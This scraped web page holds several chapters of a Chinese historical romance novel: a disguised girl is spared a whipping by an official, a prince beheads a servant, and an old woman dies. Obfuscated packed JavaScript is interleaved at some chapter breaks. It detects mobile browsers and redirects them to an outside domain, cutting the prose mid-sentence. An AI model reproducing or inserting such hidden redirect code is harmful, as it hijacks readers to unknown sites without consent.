;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268719|182205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枣红色的马就这样一路畅通无阻地在热闹的集市上冲了进来。 然而就在集市的尽头拐弯处,忽地出现了一辆破板车,吱吱呀呀地正拐过来。 马儿看到眼前忽然出来个东西,陡然停住脚步,扬起前蹄嘶鸣一声,迅速朝旁边偏了一下,才没有和那破板车撞在一起。 马上坐着的那人,一手举着黄色大旗,另一只手死死抓住缰绳,好不容易将马安抚下来,转头瞪向那辆破板车。 只见那板车上躺着个人,也不知是死是活。 板车后是个很瘦的人,非但没有跪下来,反而是跑到板车前,仔细查看里面的人。 马上的人只觉得心头怒火更胜,区区贱民,不认字就罢了,竟然连颜色都不识得么?都这样了还不速速下跪? 他怒喝出声:“什么人!竟敢冲撞二皇子殿下的坐骑,该当何罪!” 敛烟先是看了一下板车上的林阿婆,确认她没有受伤后,这才原地跪下: “大人见谅,家中老母得了重病,小人急着送她医馆,所以才走的急了些,大人恕罪!” 她余光看到高大骏马上的人,是个尖嘴猴腮的男子,一看面相就不是个好相与的。 果然,那人眉毛一竖,尖声道: “皇子殿下要来临州是众所周知的事情,早早就发布通令在集市要慢行,生怕你们冲撞惹了殿下不高兴,你这贱民竟然还敢明知故犯?” 避重就轻,就是不提着急看病的事情。 敛烟眼睛迅速转了两圈,厉思远明明说过今日要陪同三位皇子去狩猎,但是为什么二殿下的人忽然跑到这里来清路? 想来是遇到下雨天或者是其他什么事情,临时改变了主意。 一般派侍从来清道也不会提前太久,若是她能拖一下时间,挨到厉思远回来的话…… 但就在这时,板车上的林阿婆似是被风吹了,又剧烈地咳嗽起来。 那破板车原本就不结实,被林阿婆身子一晃,发出了刺耳的吱呀声。 敛烟用力咬了下唇,她知道林阿婆这身子真的撑不了太久,狠了狠心,也不管眼前的泥水,用力磕了三个响头,泥水溅了满脸。 “大人,小人知道冲撞殿下罪无可恕。” “只是我母亲现在病重,您怎么罚我没关系,只请求您高抬贵手,让我先送母亲去医馆……” “或、或者请其他人帮忙送到,您再罚我,您看可以么?” 福泉端坐在枣红马上,居高临下望着眼前的少年,优越感油然而生,他冷哼一声: “好啊。” 敛烟惊喜地抬起头,下一句话就给了她当头一棒: “那你就问问,谁愿意帮你这个忙?” 福泉尖细的眼睛环视了一圈周围的人群:“你们谁愿意帮他把这老婆子送到医馆?嗯?” 说的是问句,但语气分明就是在威胁。 周围的人群一个个噤若寒蝉,垂头盯着自己的脚尖,观鼻鼻观心。 谁愿意平白无故得罪皇子殿下身边的人?嫌自己命的太长吗? 敛烟心都凉了半截,她的手死死抓着地,却依旧不断磕头。 她以前是高门贵女,从未受过这样的委屈。 但是她知道身份阶层的难以逾越,如今要救林阿婆,只能求眼前这个人,自己决计不能逞口舌之快,最后害了林阿婆。 福泉见周围没有人应答,满意地笑了笑:“你看,我同意了,也帮你问了,但是没人帮你啊,这不怪我吧?” 要怪就怪这两个人运气不好。 今天本来三位殿下要去周边山林狩猎,谁知天上却下起了雨,而且越下越大。 这天气原本就不适合狩猎,加上山林中情况复杂,若是发生垮塌之类的就不好了,于是中途便打道回府。 所以自己才领了这清道的差事,临时折回来。 二殿下也不知这几天怎的了,每天都莫名其妙发脾气,自己也因此受了不少气。 今天又被安排回来干这吃力不讨好的活计,福泉正觉得一肚子气无处发泄,这小子就撞上来了。 他在心底冷哼一声,抽出自己腰间的马鞭,指向敛烟: “来,让小爷先抽两鞭子消消气,等会儿再把你交给殿下发落。” “妈的……最近就是气不顺,终于有个人能给我撒撒气了!” 敛烟跪在原地没有动,她认命地闭上双目,只祈祷这人打完能消消气,至少让自己把林阿婆送到医馆。 鞭子高高扬起,有的人也不忍地闭上了眼睛。 这马鞭上还带着刺,这一鞭子下去,可是会血肉模糊! 鞭子高高扬起,带着呼啸的风声,啪地一声打了下去! 17. 惩罚 预想中的疼痛没有来临,但敛烟却真真切切地听到了鞭子打下来的声音。 她疑惑地抬起头,就看到一个高大的身影挡在眼前。 男人清冽冽的嗓音自头顶落下:“你没事吧?” 敛烟还没来得及说话,就听见马背上的福泉战战兢兢地开口:“您、您是厉大人?” 厉思远一只手死死抓住马鞭,抬眼冷冷看向福泉,丝毫没有感觉到虎口处流下的点点鲜血,攥紧马鞭就朝下面狠狠一扯! 福泉虽然力气也不小,但哪里敌得过习武之人?身子猛地一歪,一头载倒在了地上。 他摔得龇牙咧嘴也顾不得疼,匍匐着爬到厉思远: “哎哟大人,这……您认识这位公子?真、真是大水冲了龙王庙……” “只是他确实是让二殿下的爱马受了惊,小人、小人只是照章办事……” 厉思远冷哼一声:“好,那本官也照章办事。” 他伸开手,上面是一道鲜血淋漓的伤口: “你当众用刑,还误伤了本官,该当何罪?” 误伤……明明是你自己撞上来的…… 福泉内心有苦说不出,只能喏喏道:“这……大人,小人知错了,小人下次再也不敢了……” 今日怎的这样倒霉? 领了这苦差事不说,厉思远大人明明应该陪同三位皇子一起回来啊?怎么出现在这里? 出现在这里也就罢了,这个长相如此丑陋的贱奴怎会和厉思远大人扯上关系?竟然还替他挡鞭子? 厉思远见他只知道求饶,也不说话,替他做了回答: “当众用刑,伤及无辜,处鞭刑八十。” 他用脚尖点了点落在福泉一旁的马鞭:“正好,这里刑具也有,不如现在就领罚吧?” 福泉被他冰冷的声线吓得抖了抖,鼓起勇气辩解: “大、大人,小人确实有错,但……但小人是二殿下身边的人,罚还是不罚……想来应当是二殿下说了算。” 听见他拿二皇子压自己,厉思远微微挑眉,刚想说话就感觉到自己的衣袖被人扯了一下。 他动作一顿,回过头,少年脸上的伤疤溅上了点点泥水,额头因为磕的太重破了一层皮,有丝丝血滴渗出。 厉思远微微攥紧了手,听见敛烟小声道:“阿婆……送林阿婆去医馆……” 她刚才背着阿婆找到板车,又推了一路,此时力气已经用尽,说完这句话以后,两眼一黑便软倒了下去。 厉思远瞳孔微缩,眼疾手快将人扶住。 他看了一眼旁边的板车,这才发现林阿婆竟然蜷缩在上面,微微颤抖。 原来,她是为了送林阿婆去医馆么…… 厉思远眸光沉了沉,惩治福泉容易,但现在当务之急是林阿婆。 见厉思远没吭声,福泉以为他听到二皇子的名号便怂了,便也胆子大了起来。 也是,不过就是一个无名无份的外姓,没有家族根基撑腰,仗着陛下和太后的宠爱才能平步青云。 等到这江山换了主子,谅这个厉思远也掀不起什么风浪。 想到这里,福泉干脆从地上爬了起来,斜着眼倨傲地望着眼前的人,丝毫没有刚才畏惧的模样。 厉思远没有理会福泉,半跪在地上,一只手将敛烟轻轻靠在怀中,另一只手打了个手势。 山平和另一名潜麟卫便悄无声息地出现在了原地。 福泉吓了一跳,本能地朝旁边挪了挪。 原来这就是传说中的潜麟卫,一个外姓竟然这样大的权力,怪不得二殿下也有些许忌惮。 无需厉思远吩咐,那名潜麟卫便解下身上的披风,将板车上的阿婆裹住后轻轻抬了起来。 而山平则走到厉思远身边,伸手想要将敛烟接过来。 厉思远下意识朝旁边挪了一下,躲开了山平的手。 山平:? 厉思远轻咳一声,指向福泉:“我们去医馆,你把这个人带给二殿下,顺便替我传话——” 他抬头,冷冷地看过去: “这人在开路时伤了人,为不影响二殿下的名誉,我先行将人送到医馆,等下晚膳的时候再陪同各位殿下。” “请二殿下……自行定夺。 福泉此时双腿发软,他没想到厉思远竟然……竟然恶人先告状! 想到二殿下的手段,他不禁脊背发凉。 殿下原本就极其注重脸面,厉思远说的话分明就是在和二殿下说,自己的下人给他丢脸了! 福泉脑子里嗡地一声,扑通一声又重新跪在地上:“大人!大人您不能这样对小人啊!您这、这分明就是在歪曲事实!” 厉思远将敛烟打横抱起,冷冷道:“这句话,自己同你家主子说吧。” 说完,他足尖轻点,瞬间消失在了原地。 山平一脸无语,明明自己送彦儿去医馆就可以了,大人自己回去陪同殿下们还有个交代,竟然还让自己去传话。 吐槽归吐槽,他还是转身提起了双脚发软的福泉,朝来路飞奔而去。 * 临州外。 一条浩浩荡荡的仪仗队从不远处走来,一架极大的马车,顶上盖着华贵的黄色华盖,旁边亦步亦趋跟着许多丫鬟太监,前后方及两侧有数十名穿着盔甲的侍卫骑在马上,手持金戈,满脸肃穆。 一个看起来十二三岁的少年,掀起马车的帘子,好奇地朝外面看去。 “大哥,我们现在是去哪儿玩呀?我想吃糖人……” 少年身穿华贵的绿色锦缎长袍,腰间上的囊袋金饰彰显着他与众不同的身份。 坐在一旁的浓眉青年不知在想什么,没有答话,坐在他们对面的另一个男子弯弯一笑,他面色温和,笑起来让人觉得非常平易近人: “糖人?现在可没有,就别为难你大哥了。” 这时,马车帘外忽然传来一个侍卫的禀报声: “二殿下,厉大人的侍卫回来了,还把福泉带了回来,说是有事禀报。” 二皇子严宏道温和的表情在听到厉思远三个字的时候有了一瞬间的裂痕,但他很快恢复了表情:“让他进来说话吧。” 那位浓眉青年就是大皇子严恒,被少年扯了扯袖子后才回过神来。 他看向这个十二岁心智却依旧像个孩童的三弟,内心叹息,但努力扯出一抹笑容: “三弟莫急,等下哥给你去买糖人好不好?” 三皇子严天逸高兴地瞪大了双眼:“好耶!大哥最好了!” 严宏道瞥了一眼严天逸,眼底闪过一丝嘲讽,随后看向在外面作揖迟迟不进来的山平,又看了看哆哆嗦嗦跪在一边的福泉,淡淡开口: “进来坐,在外面站着做什么?” 山平一板一眼地回答:“小人不敢。” 严宏道内心翻了个白眼,这小子跟他那个主子一样,轴得很。 他伸了个懒腰,朝背后的软垫靠去:“你有什么事情要说?厉思远他说去前面探探路,探出了什么名堂?” 山平知道,大人说是去探路,实则是为了避嫌。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“殿下,福泉他一直都做事毛手毛脚,刚才派他去探路也是因为他之前不小心打碎了您的玉碟,本想让他将功赎罪,没想到竟还出现了这事……” 他偷偷觑向严宏道阴沉的脸色,小心翼翼道:“不如……就将他打发去净房吧?” 净房去倒恭桶,虽然听着没那么好听,但好歹命还是能保住的。 福泉一听这话,立刻联想到了臭气熏天的净房。 那些负责倒恭桶的宫女太监都是奴才中最下等的存在,经常被旁人欺负。 他一把抓住杨公公的裤腿,哀嚎出声: “师父!您不能这样对我啊师父!我经常买东西孝敬您,您怎能打发我去那种地方!” 杨公公一个劲儿使眼色让他不要说话,但福泉却根本看不明白,还在哭号。 严宏道掏了掏耳朵,一脸不耐烦。 一个狗奴才,成天给我找不自在,本来芝麻大点的小事,做事情也不做干净,非叫人抓住把柄。 哭的还如此难听! 严宏道斜眼看了一下杨公公:“就他这样的,倒恭桶可能都倒不好,不如本宫让他去个好地方?” 杨公公看到严宏道那冰冷阴毒的眼神,瞬间收声,不着痕迹地朝旁边挪了挪。 福泉听到殿下要让自己去好地方,瞬间抓住了救命稻草般,忙不迭磕头谢恩:“谢、谢殿下!奴才谢……” 话还没说完,只听见宝剑铮然一响, 跪在马车前的福泉还保持着那副惊喜的表情,脑袋却朝旁边一歪,骨碌碌滚到了杨公公的脚边。 鲜血骤然喷溅而出,溅在了眼前的马车轮子上,周围所有人都噤若寒蝉,太监宫女们就像是没有看到一样,面无表情低垂着头。 严宏道掏出一方帕子,慢条斯理地把剑身上的鲜血擦掉,随手扔掉后,抬头笑着望向山平: “人罚完了,山平大人可还满意?” 18. 医馆 诡异的寂静弥漫。 马车里只有严天逸将手指塞进嘴里,瞪着大大的眼睛问一旁的严恒:“大哥,二哥这是在做什么呀?” 严恒松开攥紧的拳头,拍了拍严天逸:“……你二哥这是在处罚做错事的人。” 严天逸“哦”了一声,懵懂地点点头。 很快从两侧跑过来两个侍卫,将福泉的尸体搬走了。 山平敛下眼中冷色,拱手道:“小人不敢,福泉是殿下的人,殿下只要觉得这样处置合心意便好。” 严宏道已经收剑入鞘,换上了刚才那副温和的表情,似是不经意问道:“你们大人亲自送人去医馆了?” 他摩挲着下巴:“一个下人而已,你们大人还真是热心肠啊?” 山平从严宏道的语气中品出了一丝不明的意味,他眉头微微一皱,小心应答: “大人心善,那杂役虽然身份低微,但却身世凄惨,所以大人刻意多照拂一二。” 严宏道已经重新倚靠在了身后的软垫上,状似不经意地笑了一下,随后挥了挥手:“走吧。” 马车重新吱呀呀地往前朝临州走去。 此时,苏世良正跟着夏太守焦急地等在城门口,两个人齐刷刷伸着脖子不断朝远处张望着。 得知三位皇子要来临州参加渔获宴,两个人好几个晚上都没有睡好觉,绞尽脑汁去想怎么讨三位皇子开心。 然而前两日,他正陪着三位皇子游船,竟在湖边看到了那日的大理寺官差。 他是万万没想到,竟然是厉思远大人。 想到侄子还对厉思远大人出言不逊,甚至大打出手,瞬间只觉得头晕目眩。 看来他这个侄子以后是完了,而他自己的仕途恐怕也到此为止了。 苏世良连连摇头,很快把思绪拉回到现在。 今日听说三位皇子要去山上狩猎,还不需要他们二人陪同,苏世良和夏太守都松了口气。 恰好今日有空,苏世良便陪着夏太守去视察两日后的渔获宴,宴会的选址在临州外不远处的东海沿岸,可以看到夕阳坠海的盛景,还能品尝最新鲜的渔获。 结果没想到刚刚到宴会门口就有人来报,说是三位皇子觉得下雨没了心情,走到一半折返了回来。 两把老骨头就骑着马飞快地从东海一路狂奔而回,结结实实将人颠散了架。 夏太守掏出帕子擦了擦额头上不知是溅上的雨水还是落下的汗珠,忽然想到什么,转头看向身后的苏世良: “渔获宴上的画师你请的怎么样了?” 最怕领导忽然的关心,更怕领导关心的事你没做,苏世良心里咯噔一下。 前段时间忙着筹备三位皇子来临州的事情,安排护卫、准备宴会、预定酒楼、应急演练……紧锣密鼓地筹备了三个月。 前两天自己那个不争气的侄子陈生忽然闹出家里藏了几十个画家的事情,这也就罢了这是自己知道的事情。 好巧不巧闹到了厉思远大人头上,再加上赝品画的事情,让苏世良可谓是焦头烂额。 由于厉思远亲自督办此案,所以很快证据便齐全,自己想徇私都无从下手,只能把自己侄子打入了县里大狱。 还因为陈生哭嚎着抓自己,生生扯断了一件好衣服! 那日自己送给夏太守的丹阳春景图,得到了他的赞许,随后夏太守竟特意将那幅画呈给二殿下。 听闻二殿下收到后大喜,亲自着人从宫里递来了信,说渔获宴上,希望能够请这位画师当场作画。 夏太守便特意来找苏世良,让他请陈生在宴会上作画。 但马上临近渔获宴了,陈生竟然捅了这样大的篓子,而且这件事闹得很大,全城传的沸沸扬扬的,自然就传到了夏太守耳朵里。 夏太守勃然大怒,勒令苏世良必须在三日内找到那副丹阳春景图的画师,否则苏世良纵容自家侄子囚禁良民的事情,他会直接参到陛下面前。 苏世良差人去找了一圈,倒是问出了那个画师的名字,叫彦儿。 可是苏世良派出去的人除了贵人们住的宅子以外,把临州翻了个底朝天,愣是没找到彦儿,只能回来禀报。 苏世良忙的脚不沾地,下人们一会儿来说一件事,搞得他心烦意乱,很多事情都只是囫囵听了个大概,所以一个不小心,就把这件事情忘了。 苏世良伸出手擦了擦头上的汗,朝旁边亲信看了一眼,这件事起初是叫他去做的。 亲信替他撑着伞,一脸无辜: “大人,之前跟您说过了,我们把临州城内和周边都找过了,就是没有找到那个叫彦儿的画师。” 旁边的夏太守腾地一下火就起来了:“苏世良!三日后就是渔获宴了!你在做什么!” 苏世良吓得扑通一下跪了下来,乌纱帽都歪了半边: “夏、夏大人,小人确实派人找过了,您看这确实找不到,不如……我们换一个吧?城内那画阁里面有很多画师呢……” 还没说完,夏太守便气的抬脚踹了他一脚,脸已经成了猪肝色: “二殿下指名要的画师!画阁里面的画师再有名气那是二殿下指定的吗?啊?你疯了吗?” “这么小的事情都能给我搞砸,你……你!” 苏世良不知道二殿下的手段,但夏太守知道,他身子微微颤抖,一半是因为愤怒,另一半是因为恐惧。 他伸出手,因为愤怒而颤抖:“你给我想办法!不然……不然我们俩都没好果子吃!快滚!!” 苏世良哭丧着脸从泥地里爬起来:“可、可是我该上哪里找……” 夏太守几乎是用尽全身力气嘶吼出声:“快给我滚!!!” 眼看夏太守的官靴又要抬起,苏世良连滚带爬地从地上爬起来,带着侍从们急匆匆地转头跑回了临州城内。 亲信给苏世良打着油纸伞,忧心忡忡地皱紧眉头: “大、大人,我们当真是挨家挨户问过了,真、真的没有人知道彦儿画师的下落啊?这可怎么办啊?” 苏世良不说话,他也想知道怎么办。 他那个侄子真是不争气!什么时候出事不好,偏偏要赶上这两天! 他憋着一肚子气,一路从城东走到了城西,侍从们面面相觑,却也不敢说什么,低着头亦步亦趋跟在后面。 就在这时,跟在苏世良旁边的亲信听到了一个熟悉的声音,他脚步一顿,苏世良便一头扎进了雨幕中。 苏世良刚想回头骂娘,就看到亲信给他使了个眼色:“大人,我好像听到厉思远大 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她此时正躺在一张很小的榻上,周围都是排列整齐的药匣。 不远处则是一个拱形的洞门,用布帘遮住,不时会有药童模样的人从里面走过来,端着一盘盘的药材,忙的不可开交。 记忆慢慢回笼,敛烟想起来自己最后的记忆停留在喊厉思远送林阿婆那一刻,接着自己就头晕不已,随后失去了知觉。 对了……林阿婆! 她猛地直起身子就打算下榻,头忽然之间又一晕,旁边的老人眼疾手快扶住了敛烟,才避免她再次跌倒。 “都跟你说慢点慢点了,头磕那么重,都磕出来脑震荡了!”那老头吹胡子瞪眼地训斥,手却没敢松。 敛烟坐在榻上缓了一下后,问道:“沈大夫,林阿婆怎么样了?” 沈大夫见敛烟缓过来了,松开手冷哼一声: “你还认识我这个老头子啊?让你别逞口舌之快,同那个官差较什么劲?” “头还磕的这么重,你磕到当场头破血流,那人也不可能放过你!” 沈大夫是济世堂的老大夫,医术了得,以前敛烟也曾经帮这里的药童跑过两次腿。 他虽然面冷但是心热,见她无父无母一个人流落在外,虽然没法收留她,但却多给了她一些工钱买吃的。 而且他还会免费给穷人治病,以前林阿婆生病的时候,沈大夫也都没有收药钱。 林阿婆对此非常不满意,生病也都忍着,还是敛烟帮忙拿的药,再骗林阿婆说自己上山采的。 刀子嘴豆腐心,敛烟都习惯了,讪笑地挠挠头: “这不是有您嘛!您妙手回春,我就知道您一定会把我治好的~” 这油嘴滑舌的小子! 沈大夫没好气地瞪了敛烟一眼,朝里间指了一下:“林姐在那里面……哎,虽然暂时缓过来了,但是……” 沈大夫说到这里,将眼前的药罐子挪了挪,声音有些低: “这次她家那小子自杀,她受了不小的打击,身子骨着实不如以前了。” “林姐啊,怕是……支撑不了多久了。” 19. 林阿婆 敛烟其实内心早已有预感,但真到了这一天,还是有些难以接受。 动作顿了顿,她想要说些什么,喉头却仿若哽住了般,欲言又止。 最后她试探着挪到了地上,慢慢推开里间的木门,走了进去。 里间烧着炭盆,非常暖和。 窗前是一个铺满软垫被褥的床,窗外是刚刚发出新芽的杨柳,被新雨洗刷过,绿的更加纯粹。 厉思远坐在床边,听到声音后微微侧过身来,看到是敛烟后,他点了点头,示意她过来。 敛烟走近了一些,才看到床榻上形如枯槁的老人。 许是病痛折磨,林阿婆比之前更瘦了些,蜷缩在被褥中,几乎看不出人形。 即便如此,林阿婆还是一只手紧紧抓着厉思远的大手,她虽然睁着眼睛,但却似乎极不清醒,只是喃喃地说着些什么。 敛烟凑近了些,轻声喊道:“林阿婆,您感觉怎么样了?” 林阿婆浑浊的眼睛动了动,看向眼前脸上疤痕可怖的少年,忽地笑了一下: “彦儿啊?怎么才来?阿宇他一直在说要和你一起吃晚饭呢。” 阿宇是她那去世的儿子。 她说阿宇的时候,眼睛却看向了坐在旁边的厉思远。 敛烟和厉思远对望一眼,两个人都知道阿婆这次病重,脑袋已经不清楚了,错把厉思远当成了自己的儿子。 但两个人谁都没有拆穿,默默地接受了这个说法,敛烟勉强扯起一丝笑容,点点头: “哎呀刚才路上有事耽误了,这不我已经来了嘛。” 之前阿宇还在的时候,她会时不时带上一些吃食来看看林阿婆。 阿宇一开始对自己还很警惕,自己也会买一些糖人之类的送给他,久而久之两个人变得熟络起来。 如果几天不来,阿宇便会和林阿婆念叨自己。 林阿婆如今病的厉害,已经有些糊涂了,记忆回到了那个时候。 林阿婆笑着用一只手抓着敛烟,另一只手抓着“阿宇”:“你们啊,都是婆婆的乖孩子……” 说着说着,她的声音越来越低,眼角有一滴清泪滑落下来。 厉思远别过身子,压低声音说道:“我不能在这里呆太久,三位皇子还在等我。” 敛烟心领神会,拍了拍林阿婆的手:“阿婆,阿宇说他想吃糖葫芦了,隔壁王大娘陪他去买。” 林阿婆的宅子没有卖的时候,隔壁的王大娘很照顾他们一家,经常会带着阿宇去集市买吃的。 林阿婆先是反应了一会儿,似乎是在思考,随后她吃力地想要从床上支撑起来,双手却使不上力气。 厉思远见状忙用手扶住林阿婆的后背,一个用力将她靠在了床榻旁的软垫上,伸手替她扯了扯被子。 就这样一个看着轻松的动作,林阿婆却已经是气喘吁吁,她平复了一下呼吸后,松开握着两个人的手,颤巍巍地从怀中掏出一个小布包。 厉思远看了敛烟一眼,敛烟示意他稍等一下。 她知道,那里三层外三层的小布包里,是阿婆给阿宇留的银钱。 她一直担心自己如果不在世了,阿宇该怎么办,所以省吃俭用每个月都会存下来一点铜钱,用布包好后随身揣着。 即便生活再拮据,阿宇和邻居出去买东西的时候,阿婆都一定会给阿宇带上一些钱,嘱咐他要自己付钱买东西吃,可不能占别人便宜。 那布包里三层外三层包的很紧,她拆了一会儿,几块布才摊开在了床榻上。 林阿婆愣愣地盯着里面的三文钱看了一会儿,似乎在思考三文钱能买到什么糖葫芦。 里面大部分钱,已经在买赝品画的时候花光了。 敛烟拍了拍厉思远的肩头,冲林阿婆笑着道: “阿婆,你忘了吗?阿宇现在腿已经好了,早就开始在外面赚工钱了,您自己的钱呀就自己收着吧!” 林阿婆听到这句话,不敢置信地抬起头看向厉思远。 厉思远心领神会地站起来,原地给阿婆转了一圈展示自己良好的腿脚,温声道: “娘放心,我现在已经赚了工钱,不会随便花别人钱的。” 看他那从善如流地开口喊娘,敛烟不禁看了他一眼。 她原还担心厉思远出身皇家,对平头百姓的事情漠不关心,这会儿忽然让他配合演戏会不愿意,没想到竟这样配合。 林阿婆眼眶蓦地红了,她低下头摆摆手示意“阿宇”离开,想要说些什么,终究是没有说出口。 敛烟送厉思远出了门,外面煮药的沈大夫恭敬地朝厉思远拱拱手:“大人。” 厉思远问道:“林阿婆的病怎么样?她好像……把我记成她儿子了。” 沈大夫为难地摆了摆手:“哎,林阿婆原本就有心病,急火攻心,加之又感染风寒,她现在已经有些神志不清了……” 之后的话他没有说完,只是摇着头叹息着。 厉思远抿了抿唇,回头看了一眼敛烟:“我不能让三位皇子等我,所以后面就辛苦你了。” 对一个素不相识的老人能够做到这地步,厉思远已经很不错了,敛烟点点头:“大人放心。” 似乎是不太放心一般,厉思远走了几步又停下来,回头叮嘱: “药钱我已经付了,阿婆若是清醒了不肯住医馆,你想办法带她去客栈里。” “还有……”他顿了顿,手不自然地扯了一下自己的衣襟,将脸转到另一边:“你不要太伤心,我让山平跟着你,若是有其他事情,他会处理。” 敛烟泪目了,厉思远是她做了这么久的小工,见过最关心下属的老板!! 试问谁家老板会把自己的贴身侍卫送给下人!谁会!! 她扑通一声给厉思远磕了个头,差点没把沈大夫气厥过去,才恢复又磕!又磕! 厉思远步履略显慌张地离开了,只留给敛烟一个高大伟岸的背影。 等他走后,敛烟便推门重新走进了林阿婆的房间。 此时林阿婆半倚在床榻旁,正看着窗外淅沥沥的雨滴顺着柳条儿朝下面滚落,滴滴答答地敲在窗棂上。 敛烟走过去坐在了床榻边,林阿婆也没有动,只是一味看着外面。 敛烟试着开口:“阿婆?阿宇走了。” 林阿婆这时候才缓缓转过头来,她脸上挂着温和的笑容:“我知道他不是阿宇。” 敛烟惊喜地抬头:“阿婆,你恢复了?” 林阿婆没有说话,而是又将手伸入怀中掏了一会儿,拿出了一个银镯子。 那镯子成色一般,但看着十分干净,上面的银色没有丝毫暗沉,看得出来主人是相当爱护。 她端详了镯子一会儿,随后递给了敛烟: “彦儿啊,我知道自己时间已经不多了,最后还有一件事,不知道能不能请你帮帮忙?” 敛烟眼眶忍不住一红,低下头,轻轻握住林阿婆的手: “阿婆,您尽管说,我会尽我所能去做。” 林阿婆执起敛烟的手,将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268722|182205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那银镯子轻轻套在了她手腕上,敛烟手腕很细,银白色的光泽衬着她皮肤越发白皙。 她又从怀中掏出了一个信封,垂眼看着。 “我这一生活的很失败,就连自己的儿子都没有保护好。”林阿婆的声音很平静,她看着敛烟手上的镯子,缓缓道: “但是我也很幸运,能够遇到你这样好的姑娘来陪我这不中用的老婆子,走完最后一程。” 敛烟的手一震,不可置信地望过去,正巧对上了林阿婆满含笑意的双眼。 原来,她从一开始就知道么? 她继续说道:“在这世上,女子诸多不便,以男子身份确实会方便许多,所以不必惊慌,婆婆我不会将你的身份透露给其他人。” “婆婆不知道你遇到了什么事,这个手镯你且拿着。” “我有一个在宫中当值的好姐妹,姓汤,她在京城已经成了家,我们已经多年未见,但会时常通书信,婆婆能不能请你……帮婆婆把最后一封信带给她?” “这个镯子是她当年离开的时候留给我的,算是我们之间的信物,尚且值一些银子,等找到她以后,如何处置就看你的了。” “当然,若是你遇到了什么麻烦,汤婆婆是宫中的老人,多少也能说上一两句话,或许能帮得上你。” 一口气说完这么多话,林阿婆忍不住剧烈咳嗽起来,敛烟连忙起身替她倒了一碗茶水,半晌才缓下来。 敛烟踌躇着开口:“阿婆,厉思远大人他人很好,这封信递到宫中的话定然是没有问题的,只是这镯子我真的不能要。” “厉思远大人过几日就要回京,我们同他一起回去,有话您亲自同汤婆婆讲……” 林阿婆打断了她:“我这身子骨我自己清楚,而且若是没有这镯子,汤婆婆也无法相信是这信我写的,所以我让你拿着,你就拿着。” 说完,她像是用尽了所有力气般,疲惫地阖上了双眼:“好啦,你快别陪着我这个老婆子了,去忙你的吧,给京城的大人当值,要机灵着点。” 敛烟推脱不过,便只能应了下来。 外面的雨已经有些大了,林阿婆没有再睁开眼,呼吸逐渐平稳了下去,敛烟将烛火吹灭了两盏,轻手轻脚走了出去。 她不自在地转了转手上的镯子,借着外面昏暗的烛火仔细瞧了瞧,只觉得怀中那薄薄的信纸如千斤重般。 虽然知道厉思远人不错,但是特意给宫人递信,他会答应么? 若是他不答应,那自己怎么才能找到机会,给宫里的人带话儿呢? 想着想着,不知不觉中敛烟趴在桌子上睡着了。 外面隆隆的春雷炸响,敛烟一个激灵睁开了眼睛,自己不知道什么时候被人转移到了榻上,她爬起来擦了擦口水四面环视一圈,外面天已经蒙蒙亮,依旧下着小雨。 “你醒了?” 厉思远的声音传来,敛烟愣了愣,转过头去,就看到沈大夫和厉思远都站在林阿婆的房门口。 门大敞着,看不到里面什么样,山平双手抱着剑,依旧是不苟言笑地站在一边。 看到沈大夫脸上的神色,敛烟心里一沉。 她从榻上爬起来,往前走了两步,看到了屋内惨白色的长布,由于林阿婆的身形过于消瘦,以至于不仔细看,都看不出下面躺着一个人。 沈大夫在旁边低声开口:“彦儿啊,林姐她……卯时一刻走了,你……节哀吧。” 春雷隆隆,黑云压城,唢呐起,纸钱飘,薄棺入土,万事休矣。 20. 香气 厉思远回到客栈后,就看到忐忑不安等在门口的苏世良。 见厉思远从不远处走来,苏世良擦了擦汗,露出了喜出望外的表情。 昨天在医馆门口看到那彦儿画师以后,自己想要进去相邀,却没想到被山平给拦住了。 他知道山平是厉思远身边的护卫,听说身手了得。 所以苏世良点头哈腰地表明来意,山平却说让他明日找大人相商,因为彦儿已经给厉思远当差了,有事要找大人才行。 于是苏世良今天一大早就等在客栈门口,谁知厉思远竟然出门去办事了,客栈的小厮想让他进来坐着等,可他哪里坐的住? 要是厉思远大人不答应彦儿画师去,自己脑袋上这顶乌纱帽就别想要了。 所以他在院子里坐了一会儿,实在是心焦得厉害,忍不住直接站在了别院门口,频频朝大路两侧张望。 厉思远的马车刚从路口拐弯处出现,苏世良便忙不迭迎了上去。 厉思远见苏世良一脸焦急,便喊停了马车,自己掀开车帘走了下去。 敛烟想要扶着他下去,却被回绝了,便只能百无聊赖地坐在车上,数着眼前软垫上的花纹有几条。 作为大人的杂役,自己当然有做杂役的觉悟,本想要亲自驾车,大人有专门的马车夫,根本轮不上自己。 但是刚刚就连搀着大人下车也被回绝了,敛烟一时间有些坐立难安。 这个厉思远未免有点过于客气了,不会根本就没想让自己在身边当差吧? 敛烟这边正在车上胡思乱想,厉思远已经踏着脚凳走下了车,拢住衣袖看着苏世良: “苏县令这么着急,看起来是有要事,怎么不派人来通传一声?” 苏世良讪笑地拱拱手:“也、也不是什么大事,不敢劳烦大人跑回来……只是想请大人帮个忙。” 他头上急得汗水直流,后背的衣服浸湿了一大片,但嘴上又说不是什么大事,厉思远皱了皱眉:“您且说说看。” 苏世良点头哈腰: 